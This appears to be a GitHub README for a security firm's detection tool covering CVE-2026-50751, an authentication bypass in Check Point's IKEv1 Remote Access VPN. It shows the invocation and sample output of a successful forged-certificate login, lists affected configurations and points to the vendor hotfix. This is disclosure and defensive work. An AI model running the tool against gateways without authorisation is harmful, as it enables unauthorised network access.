watchtowrlabs/watchtowr-vs-check-point-cve-2026-50751
A Check Point Remote Access VPN IKEv1 certificate-authentication bypass Detection Artefact Generator.
https://github.com/user-attachments/assets/1280c545-364e-42d1-94ac-5b2cd850d14e
See our blog post for technical details.
$ python3 watchTowr-vs-Check-Point-CVE-2026-50751.py -rh vpn.example.com -u watchtowr
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchTowr-vs-Check-Point-CVE-2026-50751.py
(*) Check Point IKEv1 Remote-Access VPN certificate-auth bypass Detection Artifact Generator
- McCaulay (@_mccaulay) of watchTowr (@watchTowrcyber)
CVEs: [CVE-2026-50751]
[#] CVE-2026-50751 Check Point IKEv1 Remote-Access certificate-auth bypass
[+] Self-signed cert (untrusted); signature will be invalid (no private key)
[#] Connecting via udp ...
[#] Authenticating as 'watchtowr' with the forged certificate + invalid signature...
[#] Decrypting...
[+] Gateway Internal IP: 172.31.255.128
[+] [BYPASSED] Gateway authenticated us as 'watchtowr'. CVE-2026-50751 certificate-authentication bypass confirmed.
Requires Python 3 and the cryptography package:
pip install cryptography
This watchTowr Detection Artefact Generator checks for, and demonstrates, the Check Point Remote Access VPN / Mobile Access authentication bypass CVE-2026-50751 (CVSS 9.3, CWE-287). A remote, unauthenticated attacker can complete the deprecated IKEv1 phase-1 exchange and be authenticated as a provisioned Remote Access user without a valid certificate, private key, or password. It works over both IKE (UDP 500/4500) and Check Point Visitor Mode / SSL (raw TCP 443, TCPT).
A gateway is exposed when it is configured for the legacy IKEv1 path: legacy Remote Access clients
allowed, IKEv1 permitted (not IKEv2-only).
The certificate-authentication bypass applies to the Certificate, Certificate with enrollment,
and Mixed user-authentication methods; plain Legacy (username/password) is not bypassable.
Remediation and further details can be found in the Check Point advisory and hotfix sk185033:
For the latest security research follow the watchTowr Labs Team.